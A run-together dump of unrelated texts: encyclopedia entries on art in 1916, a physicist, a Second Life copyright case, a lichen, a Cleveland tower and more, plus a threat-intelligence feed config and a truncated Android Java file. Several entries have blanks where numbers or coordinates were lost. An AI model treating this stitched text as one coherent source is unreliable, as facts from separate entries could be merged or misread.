Table Amedeo Modigliani portrait of Beatrice Hastings Léon Indenbaum portrait of Max Jacob Jacques and Berthe Lipchitz two portraits of Chaïm Soutine Reclining Nude Claude Monet – paintings in Water Lilies series Nympheas (Musée Marmottan Monet) Water Lilies (Museum of Fine Arts, Boston) C. R. W. Nevinson Archies The Doctor Dog-Tired French Troops Resting Maxfield Parrish and Louis Comfort Tiffany - Dream Garden (glass mosaic) commissioned for and installed in the lobby of the Curtis Center in Philadelphia, Pennsylvania Glyn Philpot Man in a Flying Jacket The Skyscraper Morton Livingston Schamberg – Untitled (Mechanical Abstraction) Matthew Smith – Fitzroy Street Nude No. 1 Paul Strand (photographs) Abstraction, Porch Shadows, Twin Lakes, Connecticut White Fence Births January 23 – David Douglas Duncan, American war photographer (died 2018) April 11 – Irv Novick, American comic book artist (died 2004) April 20 – Gerald Dillon, Irish painter (died 1971) April 26 – Eyvind Earle, American illustrator and Disney artist (died 2000) June 24 – Saloua Raouda Choucair, Lebanese painter and sculptor (died 2017) July 25 – Fred Lasswell, American cartoonist (died 2001) September 29 – Carl Giles, English cartoonist (died 1995) October 18 – Jean-Yves Couliou, French painter (died 1995) November 3 – Harry Lampert, American cartoonist, advertising artist and author (died 2004) November 10 – Louis le Brocquy, Irish painter (died 2012) November 25 – Villu Toots, Estonian calligrapher, book designer, educator, paleograph and author (died 1993) December 7 – John G. Morris, American picture editor (died 2017) Deaths January 17 – Marie Bracquemond, French Impressionist painter (born 1840) February 13 – Vilhelm Hammershøi, Danish painter (born 1864) March 4 – Franz Marc, German Expressionist painter (born 1880) (killed in action during Battle of Verdun) June 25 – Thomas Eakins, American painter, sculptor and teacher (born 1844) June 29 – Georges Lacombe, French artist (born 1868) July 6 – Odilon Redon, French Symbolist painter and graphic artist (born 1840) July 29 – Eleanor Vere Boyle, English watercolorist (born 1825) August 17 – Umberto Boccioni, Italian Futurist painter and sculptor (born 1882) (died following a fall during cavalry training) August 23 – Jean-Paul Aubé, French sculptor (born 1837) August 28 – Henri Harpignies, French landscape painter of the Barbizon school (born 1819) October 25 – William Merritt Chase, American Impressionist painter (born 1849) December 13 – Antonin Mercié, French sculptor and painter (born 1845) date unknown Wu Shixian, Chinese landscape painter during the Qing dynasty (born unknown) Branko Radulović, Serbian painter (born 1885). References Years of the 20th century in art 1910s in art
Hey Girl may refer to: Film, TV and theatre Hey Girl (TV series) a TV show on MTV Hey Girl (play), a nontraditional theater piece by Italian director Romeo Castellucci Music Hey Girl (group), a Taiwanese Mandopop group Hey Girl! Records, is a music label based on Madrid De Los Trillos, Spain Songs "Hey Girl" (Anne Wilson song) "Hey Girl" (Billy Currington song) "Hey Girl" (Delays song) "Hey Girl" (Freddie Scott song), written by Gerry Goffin and Carole King, covered by Billy Joel and several other artists "Hey Girl" (Small Faces song) "Hey Girl (This Is Our Time)", by CDB "Hey Girl", by Estelle from The 18th Day "Hey Girl", by Hardline from II "Hey Girl", by Justin Bieber from Believe "Hey Girl", by Lady Gaga featuring Florence Welch from Joanne "Hey Girl", by O.A.R. from In Between Now and Then "Hey Girl", by Them featuring Van Morrison from Them Again "Hey Girl", by Zooey Deschanel and used as the theme song of the sitcom New Girl
Willard Harrison Bennett (June 13, 1903 – September 28, 1987) was an American scientist and inventor, born in Findlay, Ohio. Bennett conducted research into plasma physics, astrophysics, geophysics, surface physics, and physical chemistry. The Bennett pinch is named after him. Biography Born in Findlay, Ohio, Bennett attended Carnegie Institute of Technology from 1920 to 1922 and Ohio State University; the University of Wisconsin, Sc.M. in physical chemistry, 1926; and the University of Michigan, Ph.D. in physics, 1928. Bennett was elected to a National Research Fellowship in Physics and in 1928 and 1929 studied at the California Institute of Technology. In 1930 he joined the Physics faculty at Ohio State. During the World War II era, he served as an officer in the United States Army and developed aircraft equipment. Following military service, Bennett worked at the National Bureau of Standards, the University of Arkansas, and the United States Naval Research Laboratory. In 1961, he was appointed Burlington Professor of Physics at North Carolina State University (emeritus in 1976). Bennett held 67 patents. Bennett made scientific history in the 1930s pioneering studies in plasma physics, the study of gases ionized by high-voltage electricity. Bennett invented radio frequency mass spectrometry in (1955). Bennett's radio-frequency mass spectrometer measured the masses of atoms. It was the first such experiment in space. He also researched gases ionized by high-voltage electricity. This research was used in later thermonuclear fusion research. Invention impact These studies and later research have been used throughout the world in controlled thermonuclear fusion research. In the 1950s, Bennett's experimental tube called the Stormertron predicted and modeled the Van Allen radiation belts surrounding the earth six years before they were discovered by satellite. It also reproduced intricate impact patterns found on the Earth's surface which explained many features of the polar aurora. Sputnik 3 carried the first radio frequency mass spectrometer into space. References External links https://www.invent.org/inductees/willard-h-bennett 1903 births 1987 deaths 20th-century American inventors 20th-century American physicists University of Wisconsin–Madison alumni People from Findlay, Ohio Carnegie Mellon University alumni Mass spectrometrists American physical chemists University of Michigan alumni Plasma physicists United States Army officers Fellows of the American Physical Society 20th-century American chemists
The Dewar Cup Perth was an indoor tennis event held from 1968 through 1969 and played in Perth, Scotland as part of the Dewar Cup circuit of indoor tournaments held throughout the United Kingdom. Results Men's singles Men's doubles Women's singles Women's doubles References External links https://thetennisbase.com/Perth Results http://www.tennisarchives.com/1969 Perth Result Defunct tennis tournaments in the United Kingdom Tennis tournaments in Scotland Indoor tennis tournaments
The Charles Capron House is an historic house at 2 Capron Street in Uxbridge, Massachusetts. Built in 1874, it is an locally distinguished example of Gothic Revival architecture. It is also notable for its association with Charles Capron, a local mill owner. The house was listed on the National Register of Historic Places in 1983. Description and history The Capron House is prominently located at the corner of Capron and Mendon Streets (Massachusetts Route 16), a short way east of Uxbridge's downtown area. It is a -story wood-frame structure, with a mansard-style truncated hip roof, clapboard siding, and a granite foundation. Its main facade, facing southeast, is three bays wide, sheltered by a highly decorated open porch that joins the space between flanking polygonal window bays. A gable breaks the roof line above the entrance, and is decorated with Gothic woodwork, as are the dormers piercing the roof. Gothic details are continued on the flanking sides, and on the attached ell. The carriage barn at the rear of the property is a period structure; it is a two-story wood-frame structure, with a clipped gable roof topped by a cupola. The house was built in 1874 by Charles Capron (which is for sale as of 10/2020), a member of the locally prominent Capron family who was one of the owners of the Capron Mill (no longer standing), and was responsible for the introduction of electricity into Uxbridge. Capron was also active in civic affairs, serving as town treasurer, town clerk, selectman, and as a state representative. The house is Uxbridge's finest example of Gothic Revival architecture. See also National Register of Historic Places listings in Uxbridge, Massachusetts References Houses completed in 1874 Houses in Uxbridge, Massachusetts National Register of Historic Places in Uxbridge, Massachusetts Houses on the National Register of Historic Places in Worcester County, Massachusetts
Amaretto Ranch Breedables, LLC v. Ozimals, Inc. was a copyright case in the United States District Court for the Northern District of California involving a DMCA takedown notice dispute between companies that produce virtual animals on Second Life. Ozimals filed a DMCA takedown notice to Linden Research, the makers of Second life, claiming that Amaretto's horse infringed on their bunnies and demanding their removal. Consequently, Amaretto responded with a counter-DMCA notice and applied to the court for a temporary restraining order to forbid Linden Research from removing their virtual horses. This was granted and held in effect as the case proceeded. Amaretto claimed in court that Ozimal's DMCA notice was copyright misuse and asked for a declaration that its horses did not infringe copyright. Ozimals counterclaimed for copyright infringement. The court eventually dismissed both claims. Background Second Life is an online website where users can live out their virtual lives. Users can make and sell their own virtual items. Ozimals is a company that creates virtual bunnies which can be purchased and raised in Second Life through feeding them virtual food. Amaretto Ranch Breedables sells virtual horses which can also be purchased and raised in a similar fashion. The Digital Millennium Copyright Act permits content owners to prevent infringement by seeking a court order that requires an internet service provider to block or remove access to content that allegedly infringes copyrighted content. In this case, Ozimals claimed that Amaretto Ranch Breedables’ horses infringed on their bunnies and filed a takedown notice for their horses and feed. Amaretto sued for a temporary restraining order and preliminary injunction barring Linden Research, the operator of Second Life, from removing their products. Case As established in Winter v. Natural Res. Defense Council (2008), a plaintiff seeking preliminary injunction must show: Likelihood to Succeed on the Merits Likelihood of Irreparable Harm Balance of Hardships Weighs in Favor of Plaintiffs Public Interest Supports the Issuance of a Preliminary Injunction Since software copyright protection does not apply to functionality as in this case, the case was considered likely to succeed. Amaretto did not directly copy Ozimal's source code, and the idea of a growing virtual animal that could be fed and raised is not copyrightable. Likely irreparable harm is interesting in this case. Had the DMCA order gone through, it would have cut off Amaretto's source of income before it could challenge Ozimal's copyright claim. Their virtual horses would have died for lack of food, and though Ozimals stated that they would agree to Amaretto distributing their product for free, Amaretto understandably refused to do so. Furthermore, even if they were to litigate, had the takedown occurred, Amaretto would have lost a significant number of potential customers by missing out on the prime buying season. Judge Charles Breyer ruled that irreparable harm was likely in this case. For the same reason, he deemed that the balance of hardships would be in favor of the plaintiff. Finally, there was no identifiable public interest in this case. Judge Breyer granted Amaretto the temporary restraining order against Linden Research from removing their horses until the preliminary injunction ruling. Subsequent Motions to Dismiss Motion to dismiss First Amended Complaint In April 2011, Ozimals was granted in part and denied in part their motion to dismiss Amaretto's First Amended Complaint (FAC). They argued that Section 512(f) Misrepresentation was not viable because no takedown had occurred. The judge agreed with Ozimals here, referring to Lenz v. Universal Music Corp., which stated that the damages incurred had to be from the DMCA removal of content. Litigation privilege does not bar the tortious interference and unfair competition claims. The judge ruled in favor of Amaretto in this case, as the original DMCA notification was not a judicial proceeding. Tortious interference claim wasn't plausibly pleaded. The judge sided with Ozimals here, ruling that merely arguing that the defendants falsely disparaged their products on online forums was not enough to determine interference with contract. The unfair business practices claim should be dismissed. Here, the judge ruled that Amaretto's unfair business practices claim was viable here, as Ozimals didn't have a valid copyright. Ozimals’ motion to dismiss was granted in part and denied in part. In response, Amaretto filed a Second Amended Complaint. Motion to dismiss Second Amended Complaint Ozimals also moved to dismiss Amaretto's Second Amended Complaint in July, which consisted of the following: declaratory relief; statutory and common law unfair competition; copyright misuse; defamation; trade libel; intentional interference with contract; and tortious interference with prospective business advantage. Ozimals moved to dismiss 2 and 6. Judge Breyer ruled against them on unfair competition, pointing out that it had already been decided in the previous case. However, he did dismiss the common law unfair competition claim, since that entails passing off one's goods as those of another. State law claims based on DMCA takedowns are preempted here by the federal nature of the DMCA, as referenced in Lenz v. Universal Music Corp. as well as OPG v. Diebold. Ozimal's motion to dismiss on this count is granted. Further developments Litigation continued into 2012, with several changes of attorney. Meanwhile, Second Life has backed away from the dispute, stating, "We no longer have a horse in that race or a bunny in that pot.". The court dismissed Ozimals copyright infringement claim because "Ozimals lacked standing to sue on the copyright in issue", and also dismissed Amaretto's requests for declaration that Ozimals' actions were copyright misuse and that its horses were not infringements, on the grounds of lack of subject matter jurisdiction. In July 2013 the final legal claims, relating to Amaretto's allegations that an Ozimals blog posting had defamed Amaretto, were also dismissed, ending the court proceedings. Significance Temporary restraining order and preliminary injunction were filed against a third party, Second Life, and granted. Misrepresentation determined to be not viable in a case where no takedown has actually occurred. Upheld Lenz and Diebold on DMCA preemption of state laws. Legal blogger Eric Goldman’s take on the case was, “I generally like furry critters, but I'm beginning to hate the virtual horses and virtual bunnies for their deleterious effect on Internet law.” See also DMCA takedown Idea–expression divide OPG v. Diebold Lenz v. Universal Music Corp. References Second Life
```yaml category: Data Enrichment & Threat Intelligence commonfields: id: Group-IB Threat Intelligence & Attribution Feed version: -1 configuration: - additionalinfo: The FQDN/IP the integration should connect to. defaultvalue: path_to_url display: GIB TI URL name: url required: true type: 0 - additionalinfo: The API Key and Username required to authenticate to the service. display: Username name: credentials required: true type: 9 - additionalinfo: Whether to allow connections without verifying SSL certificates validity. display: Trust any certificate (not secure) name: insecure type: 8 required: false - additionalinfo: Whether to use XSOAR system proxy settings to connect to the API. display: Use system proxy settings name: proxy type: 8 required: false - additionalinfo: Incremental feeds pull only new or modified indicators that have been sent from the integration. The determination if the indicator is new or modified happens on the 3rd-party vendor's side, so only indicators that are new or modified are sent to Cortex XSOAR. Therefore, all indicators coming from these feeds are labeled new or modified. defaultvalue: 'true' display: Incremental feed hidden: true name: feedIncremental type: 8 required: false - defaultvalue: 'true' display: Fetch indicators name: feed type: 8 required: false - additionalinfo: Indicators from this integration instance will be marked with this reputation defaultvalue: Suspicious display: Indicator Reputation name: feedReputation options: - None - Good - Suspicious - Bad type: 18 required: false - additionalinfo: Reliability of the source providing the intelligence data defaultvalue: A - Completely reliable display: Source Reliability name: feedReliability options: - A - Completely reliable - B - Usually reliable - C - Fairly reliable - D - Not usually reliable - E - Unreliable - F - Reliability cannot be judged required: true type: 15 - defaultvalue: '1' display: Feed Fetch Interval name: feedFetchInterval type: 19 required: false - additionalinfo: When selected, the exclusion list is ignored for indicators from this feed. This means that if an indicator from this feed is on the exclusion list, the indicator might still be added to the system. display: Bypass exclusion list name: feedBypassExclusionList type: 8 required: false - additionalinfo: Collections List to include for fetching. display: Indicator collections name: indicator_collections options: - compromised/mule - compromised/imei - attacks/ddos - attacks/deface - attacks/phishing - attacks/phishing_kit - hi/threat - apt/threat - osi/vulnerability - suspicious_ip/tor_node - suspicious_ip/open_proxy - suspicious_ip/socks_proxy - malware/cnc - ioc/common type: 16 required: false hidden: false - additionalinfo: Date to start fetching indicators from. defaultvalue: 3 days display: Indicator first fetch name: indicators_first_fetch type: 0 required: false hidden: false - additionalinfo: A number of requests per collection that integration sends in one fetch iteration (each request picks up to 200 objects with different amount of indicators). If you face some runtime errors, lower the value. defaultvalue: '2' display: Number of requests per collection name: requests_count options: - '1' - '2' - '3' - '4' - '5' type: 15 required: false hidden: false - additionalinfo: Supports CSV values. display: Tags name: feedTags type: 0 required: false - additionalinfo: The Traffic Light Protocol (TLP) designation to apply to indicators fetched from the feed display: Traffic Light Protocol Color name: tlp_color options: - RED - AMBER - GREEN - WHITE type: 15 required: false - display: '' name: feedExpirationPolicy type: 17 options: - never - interval - indicatorType - suddenDeath - display: '' name: feedExpirationInterval type: 1 required: false description: Use Group-IB Threat Intelligence Feed integration to fetch IOCs from various Group-IB collections. display: Group-IB Threat Intelligence Feed name: Group-IB Threat Intelligence & Attribution Feed script: commands: - arguments: - auto: PREDEFINED description: GIB Collection to get indicators from. name: collection predefined: - compromised/mule - compromised/imei - attacks/ddos - attacks/deface - attacks/phishing - attacks/phishing_kit - hi/threat - apt/threat - osi/vulnerability - suspicious_ip/tor_node - suspicious_ip/open_proxy - suspicious_ip/socks_proxy - malware/cnc - ioc/common required: true default: false isArray: false secret: false - description: Incident Id to get indicators(if set, all the indicators will be provided from particular incident). name: id default: false isArray: false required: false secret: false - auto: PREDEFINED default: true defaultValue: '50' description: Limit of indicators to display in War Room. name: limit predefined: - '10' - '20' - '30' - '40' - '50' isArray: false required: false secret: false description: Get limited count of indicators for specified collection and get all indicators from particular events by id. name: gibtia-get-indicators deprecated: false execution: false dockerimage: demisto/python3:3.10.13.80593 feed: true runonce: false script: '-' subtype: python3 type: python isfetch: false longRunning: false longRunningPort: false tests: - No tests (auto formatted) fromversion: 6.0.0 ```
Styx Branch is a stream in Sevier County, Tennessee in the United States. The stream headwaters are at and its confluence with Alum Cave Creek is at . The stream source is on the south flank of Mount Le Conte at approximate elevation of 5600 feet and the confluence elevation is 4117 feet. The stream was named after the river Styx, in Greek mythology. Big N Funky Productions, the same team that produces Wrestling With Ghosts, is producing a horror comedy feature film about the Styx Branch River entitled “Donna’s Market”. This film will be the fourth movie in their anthology about the area entitled The Smoky Mountain Chronicles. See also List of rivers of Tennessee References Rivers of Sevier County, Tennessee Rivers of Tennessee
"Invisible Light" is a song by American band Scissor Sisters, serving as the third and final single from their third studio album Night Work. The track, which features guest spoken-word vocals by actor Sir Ian McKellen, is what lead singer Jake Shears felt should have been the first single released for Night Work, even after his going with "Fire with Fire". Music video The video for "Invisible Light" features a woman having a series of nightmares. She sees herself being dragged into the woods by a group of men, sleeping in a boat on a river, and attending her own funeral. The song itself was cut down from its six-minute album length into a radio edit of four minutes in length, and features the vocals of Sir McKellen spoken through an actor portraying a hypnotist. The bands' members describe the video as "a magical trip down the rabbit hole". The video is inspired by the nightmares of Mia Farrow in Rosemary's Baby and Catherine Deneuve in Belle de jour. Liz Taylor's version of Cleopatra also appears as a character in the video. Track listing References 2010 singles Scissor Sisters songs Song recordings produced by Stuart Price Songs written by Babydaddy Songs written by Jake Shears Songs written by Ana Matronic 2010 songs
Acanthothecis verrucosa is a species of lichen in the family Graphidaceae. It is found in southern Vietnam, where it grows on smooth-barked trees in tropical forests. The lichen is characterized by its olive-green, thallus and the presence of psoromic acid. This species can easily be confused with similar lichens, but it can be distinguished by its specific morphological and chemical features. Taxonomy Acanthothecis verrucosa was first described by Santosh Joshi, Dalip Kumar Upreti, and Jae-Seoun Hur as a new species in 2017. The species name, verrucosa, is derived from the Latin word for "warts" and refers to the wart-like appearance of the lichen's thallus. The type specimen was collected from tree bark in Cát Tiên National Park, Vietnam, in December 2015. Description This lichen features a hard, glossy thallus that is olive-green, green, or dark green, and forms large patches. Its cortex is 25–45 μm thick, and it hosts a Trentepohlia (green algal) . The medulla of the lichen is white and crystalline. The are irregular to shortly and labiate, with white labia that can be straight or internally folded. The is mostly concealed to slightly exposed and has a white surface. The ascospores are hyaline, ellipsoidal, and , measuring 35–70 μm long and 15–20 μm wide. In terms of standard chemical spot tests, Acanthothecis verrucosa tests negative for K and C reactions, while showing a positive yellow reaction for PD. Psoromic and subpsoromic acids have been identified through thin-layer chromatography. Acanthothecis verrucosa is most similar to Acanthothecis consocians due to the production of psoromic acid. However, it differs in having muriform ascospores. Other species within the genus, such as A. nivalis and A. dialeuca, have different morphological and anatomical characteristics that separate them from A. verrucosa. The presence of psoromic acid, muriform ascospores, and the olive-green, verrucose thallus help to distinguish this species from similar lichens. Habitat and distribution Acanthothecis verrucosa is native to the tropical forests of Cát Tiên National Park in southern Vietnam. It is commonly found growing in large patches on thick and relatively smooth-barked trees. The lichen often coexists with other graphidioid and thelotremoid species around the tree trunks. References verrucosa Lichen species Lichens described in 2017 Lichens of Indo-China Taxa named by Dalip Kumar Upreti
Coffee rock is the common name for the rock-like formations of indurated sands that were formed from ancient river sediments of the Pleistocene age. Coffee rock has been exposed by coastal weathering process on the beaches of Broadwater and Bundjalung National Parks in New South Wales, Australia. In addition, exposures can be seen in North Queensland, Australia at Kurrimine Beach, and in South East Queensland on K'gari and at the entry to Coonowrin Lake, Caloundra. Exposed Coffee Rock on the beaches K'gari is more likely the beds of old lakes in the sand dunes when the sea level was lower. In places it is peat-like and embedded with wood ranging from small twigs to large tree trunks up to 1200mm in diameter, with some evidence of fire on the wood before being assembled. References National Parks and Wildlife Service NSW: Broadwater National Park, Bundjalung National Park and Iluka Nature Reserve - Plan of Management. Sydney, August 1997. Sandstone in Australia Geology of Queensland Pleistocene
Kannivalism (stylized kannivalism) was a Japanese visual kei rock band originally formed in 2001, signed to Free-Will and distributed by Avex Trax. However, they disbanded that same year when baroque was formed, and subsequently reformed with new bassist Yuchi after baroque disbanded in 2006. History First formation and restart kannivalism, in their original lineup, performed their first concert on February 2, 2001 and performed their last concert June 20, 2001 at a one-man (a concert with no opening act); they disbanded after releasing a few demos, and one single, "kannivalism Ittekimasu". kannivalism reformed in 2006. In April 2006, they released their first mini-album, Soukou Humority, which caught mainstream attention and the fans of baroque. Soon after in September 2006, the band released their first major-label single, "Ritori", followed by their second "Hoshi no Yoru" in January 2007. Later in February 2007, kannivalism finally debuted their first full-length album, Nu Age., which included many popular songs from the previous releases of 2006-07. Again in mid-2007 they released two more singles: "Small World", which included a rerecorded version of "Cry Bab"y as well as the track the single was named for; and "Monochrome", which included alternative covers and content. End of hiatus The band went into an indefinite hiatus after ryo's hospitalization for depression in 2008. In August 2009, kannivalism's official website announced that they would resume activities. A new drummer, Mitsuya, would be joining the band's lineup as well. The band's period of new activity brings new singles and a full album. Their first new song after reforming, "Life Is", became available on mu-mo on September 9, 2009. A new single is to be released in November, along with a new album in 2010. A live concert to commemorate their return is set for December 26, 2009 at Zepp Tokyo. Random House will be publishing an autobiographical work by vocalist ryo in English, describing his experience with depression. While not officially stated, the reformation of baroque in 2012 has halted Kannivalism activity. Since then, Yuchi has been performing with sukekiyo. Former members ryo (怜) - vocals (baroque) Kei (圭) - guitar (baroque) Yuchi (裕地) - bass (ex-Anti Feminism, K@mikaze, Sukekiyo) Mitsuya (光也) - drums (ex-Black Jack) Kiri (桐) Koishikawa - drums (ex-Porori, Unzu, heidi.) (2001) Discography Albums and EPs Singles Compilations Luna Sea Memorial Cover Album - covering "Love Song" (December 19, 2007) References Grass Thread External links Official website Avex Group artists Visual kei musical groups Japanese post-rock groups Japanese alternative rock groups Musical groups established in 2001 Musical groups disestablished in 2001 Musical groups reestablished in 2006 Musical groups from Kanagawa Prefecture
Dendropsophus leali is a species of frog in the family Hylidae. It is found in Bolivia, Brazil, Peru, and possibly Colombia. Its natural habitats are subtropical or tropical moist lowland forests, subtropical or tropical swamps, intermittent freshwater marshes, rural gardens, and heavily degraded former forest. At last assessment, Dendropsophus leali's population trend was considered stable, i.e., its population is neither increasing or decreasing significantly in the wild. References leali Amphibians described in 1964 Taxonomy articles created by Polbot
The Middle East Radio Forum is a radio show produced and hosted by attorney William J Wolf. It airs on Sundays at 12PM MST(No DST) on 960AM KKNT in Phoenix Arizona. The Middle East Radio Forum is also available streamed live from KKNT and past shows can be listened to in the podcast format on both SoundCloud. References American radio programs
The 9 Cleveland is a residential and commercial complex located in Downtown Cleveland, Ohio, United States, at the corner of East Ninth Street and Euclid Avenue. It includes three buildings, the largest of which is a 29-story, tower commonly known by its previous name of Ameritrust Tower and formerly known as the Cleveland Trust Tower. The tower was completed in 1971 and is an example of brutalist architecture, the only high-rise building designed by Marcel Breuer and Hamilton Smith. The complex also includes the adjacent Cleveland Trust Company Building, completed in 1908, and the Swetland Building. Although plans called for a second mirror-image tower, the second building was never constructed. The Breuer tower initially served as headquarters for Ameritrust Bank before its merger with Society Bank. Society Bank has since merged with KeyBank. The tower was vacant from 1996 until September 2014, before it was converted to apartments and a hotel as part of a larger project involving the other buildings in the complex. The space also includes a wine cellar and restaurant. The rotunda was renovated and reopened as a Heinen's Fine Foods grocery store in 2015 and the Swetland Building was restored for residential use. Ameritrust Tower 1991 proposal In 1990, developer Richard Jacobs proposed constructing a new tower for the AmeriTrust Corporation on Cleveland's Public Square. About $500 million was budgeted for the project. The Architectural firm of Kohn Pedersen Fox or KPF of New York City would have designed the new AmeriTrust Tower. Coincidentally, KPF would have designed the new Cuyahoga County Administration Building which was planned in the late 2000s to replace the Ameritrust Tower (built in 1971). In 1992, Ameritrust merged with Society Bank (now KeyBank), obviating the need for the Ameritrust Tower. Had the Ameritrust Tower been built, it was planned to be 61 stories, 920 feet tall to the roof, and have a curved glass curtain wall, a Hyatt Hotel, and high-end shopping including Giorgio Armani and Versace as anchor tenants. 2005 purchase In 2005, Cuyahoga County purchased the tower, the historic Cleveland Trust Company rotunda, and several other surrounding structures from the Jacobs Group for use as the site for a new county headquarters. This was done after a study completed by Weber Murphy Fox and Orfield Laboratories, had concluded that the building was a very high quality for office occupancy, when compared with the Hudson Department Store building, which the County was considering for office occupancy. On March 29, 2007, the Cuyahoga County Commissioners voted to demolish the tower and to replace it with a new building to be designed by Kohn Pedersen Fox. Two commissioners, James "Jimmy" Dimora and Timothy Hagan, wanted to demolish the tower, while commissioner Peter Lawson-Jones supported renovation. The Cleveland Planning Commission approved demolition of the landmark Ameritrust Tower, to the chagrin of preservationists, who argued that the county would destroy a valued piece of architecture. A June 2008 Cleveland Magazine article said that the county's own consultants told commissioners that it would be cheaper and more prudent to renovate the tower for its own use. However, later in 2007, the Cuyahoga County Commissioners, claiming a desire to devote more of their energies for Medical Mart and Convention Center, decided to attempt to sell the complex to private developers. The County declared that it would not sell the property for less than $35 million, which represented the purchase price plus expenditures on the property, including the removal of asbestos. The only bid on the complex was submitted by the K&D group of Willoughby, Ohio, for $35,005,000 however the deal fell apart in 2009. Federal investigators scrutinized the 2005 purchase of the Ameritrust complex, the attempted sale, and the removal of the asbestos as part of their probe into corruption in the Cuyahoga County government. In 2012, federal prosecutors alleged that attorney Anthony Calabrese III had offered to bribe county employee J. Kevin Kelley in 2005 if Kelley could convince Dimora to vote to purchase the complex. The accusation was contained in a witness-tampering charge against Calabrese, which was later dropped. 2013 sale and rebranding In December 2012, Cuyahoga County Executive Ed FitzGerald announced that the County would sell the Ameritrust complex, including the tower, the rotunda building, and two other office buildings to the Geis Companies of Streetsboro, Ohio, for $27 million. Geis Cos. agreed to raze the smaller buildings, known as the P&H buildings, and to build an eight story office building to be used by the County as a consolidated headquarters building. The parties envisioned that the county would move about 750 employees into the newly constructed building from eight other locations by mid-2014. The County agreed to make lease payments of $6.7 million on 222,000 square feet of space for a period of 26 years with a County option to buy the new building at the end of the term for $1. Chaim Schochet argued against the project stating that the last thing Cleveland needed was more office space and instead proposed that the headquarters be put on the first six floors of the half vacant Huntington Bank Building owned by Optima Ventures. The Cuyahoga County Council approved the sale in January 2013. Geis Cos. took ownership of the Ameritrust complex in February 2013. The tower now houses 104 apartments and a luxury hotel known as the Metropolitan. Heinen's, a Cleveland-based high-end grocer, opened a store in the Ameritrust Rotunda on February 25, 2015. See also List of tallest buildings in Cleveland References External links Cleveland Skyscrapers: Cleveland Trust Tower Images and architectural information Cleveland Memory Project historic shots Office buildings completed in 1971 Brutalist architecture in Ohio Skyscraper hotels in Cleveland Residential skyscrapers in Cleveland Marcel Breuer buildings
Frank Wayne Marsh (born June 19, 1940 in La Grande, Oregon), is a former professional American football defensive back in the American Football League for the San Diego Chargers. He competed in track at Oregon State University. Early years Marsh attended Wallowa High School, where he practiced track and football. He played as a halfback in football. He accepted a track scholarship from Oregon State, where he ran in the sprint medley relay and the high hurdles. Professional career Dallas Cowboys On June 27, 1963, he was signed as an undrafted free agent by the Dallas Cowboys to be tried at offensive end, although he didn't play college football. He was released before the season started on July 18. Detroit Lions In 1966, he was signed as a free agent by the Detroit Lions to play defensive back. He was cut on August 25 and later signed to the practice squad. He was released on September 5, 1967. San Diego Chargers In 1967, he was signed by the San Diego Chargers of the American Football League. He played as a defensive back. Cincinnati Bengals In the 1968 AFL expansion draft, he was left unprotected by the Chargers and was selected by the Cincinnati Bengals. At training camp he was also tried at running back. He was released on June 28, 1969. Personal life His brother Amos Marsh played professional football for the Dallas Cowboys and Detroit Lions. References 1940 births Living people People from La Grande, Oregon Players of American football from Oregon American football defensive backs Oregon State Beavers men's track and field athletes Detroit Lions players San Diego Chargers players Cincinnati Bengals players American Football League players
Silver Lake is an unincorporated community in Van Zandt County, Texas, United States. According to the Handbook of Texas, the community had a population of 42 in 2000. It is located within the Dallas/Fort Worth Metroplex. History The area in what is known as Silver Lake today was first settled as early as 1845. A man named John Jordan surveyed the land and secured title to 30 square miles that covered the salt flats along the Sabine River. This prompted the community to become a station on the Texas and Pacific Railway in 1873 when a depot was built. That same year, G.W. Rive opened a store here. It was named for nearby Silver Lake, which was named either for its silvery appearance or because Native Americans or Mexican settlers in the area hid silver in the lake between 1832 and 1836 to prevent the Texas army from capturing them. On May 7, 1874, Grenville M. Dodge purchased a land grant here and platted it on March 5, 1875. A post office was established at Silver Lake in 1874 and remained in operation until the 1930s. A Grange chapter was then founded here in 1876. A Farmer's Alliance was also established in the community. Silver Lake had a population of 80 in 1914 and had a general store and several businesses. Only a few scattered houses were reported in 1936. During that decade, coal miners came to the area. The population went down to 50 in 1940, then to 42 from 1974 through 2000. It had another post office, a cemetery, several businesses, and scattered houses in 1988. Geography Silver Lake is located at the intersection of U.S. Highway 80 and Farm to Market Road 1255 on the Missouri Pacific Railroad, northeast of Canton in northeastern Van Zandt County, near the Smith County line. Education Silver Lake had its own school in 1890 and had 43 students in 1904. Since 1952, the community has been served by the Grand Saline Independent School District. References Unincorporated communities in Van Zandt County, Texas Unincorporated communities in Texas
```java package com.luseen.spacenavigationview; import android.graphics.Color; import android.os.Bundle; import android.support.v4.content.ContextCompat; import android.support.v7.app.AppCompatActivity; import android.support.v7.widget.GridLayoutManager; import android.support.v7.widget.RecyclerView; import android.util.Log; import android.view.View; import android.widget.Button; import android.widget.Toast; import com.luseen.spacenavigation.SpaceItem; import com.luseen.spacenavigation.SpaceNavigationView; import com.luseen.spacenavigation.SpaceOnClickListener; import com.luseen.spacenavigation.SpaceOnLongClickListener; import java.util.ArrayList; import java.util.List; public class ActivityWithBadge extends AppCompatActivity { private SpaceNavigationView spaceNavigationView; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_badge); Button btnShowBadge = (Button) findViewById(R.id.btnBadge); btnShowBadge.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { spaceNavigationView.shouldShowFullBadgeText(true); spaceNavigationView.showBadgeAtIndex(0, 2, Color.RED); spaceNavigationView.showBadgeAtIndex(1, 3, Color.DKGRAY); spaceNavigationView.showBadgeAtIndex(2, 4, Color.MAGENTA); spaceNavigationView.showBadgeAtIndex(3, 23, Color.BLUE); } }); spaceNavigationView = (SpaceNavigationView) findViewById(R.id.space); spaceNavigationView.initWithSaveInstanceState(savedInstanceState); spaceNavigationView.addSpaceItem(new SpaceItem(R.id.navigation_first,"HOME", R.drawable.account)); spaceNavigationView.addSpaceItem(new SpaceItem(R.id.navigation_second, "SEARCH", R.drawable.magnify)); spaceNavigationView.addSpaceItem(new SpaceItem(R.id.navigation_third, "HOME", R.drawable.account)); spaceNavigationView.addSpaceItem(new SpaceItem(R.id.navigation_forth, "SEARCH", R.drawable.magnify)); spaceNavigationView.shouldShowFullBadgeText(false); spaceNavigationView.setCentreButtonId(R.id.navigation_centre); spaceNavigationView.setCentreButtonIconColorFilterEnabled(false); spaceNavigationView.setSpaceOnClickListener(new SpaceOnClickListener() { @Override public void onCentreButtonClick() { Log.d("onCentreButtonClick ", "onCentreButtonClick"); } @Override public void onItemClick(int itemIndex, String itemName) { Log.d("onItemClick ", "" + itemIndex + " " + itemName); } @Override public void onItemReselected(int itemIndex, String itemName) { Log.d("onItemReselected ", "" + itemIndex + " " + 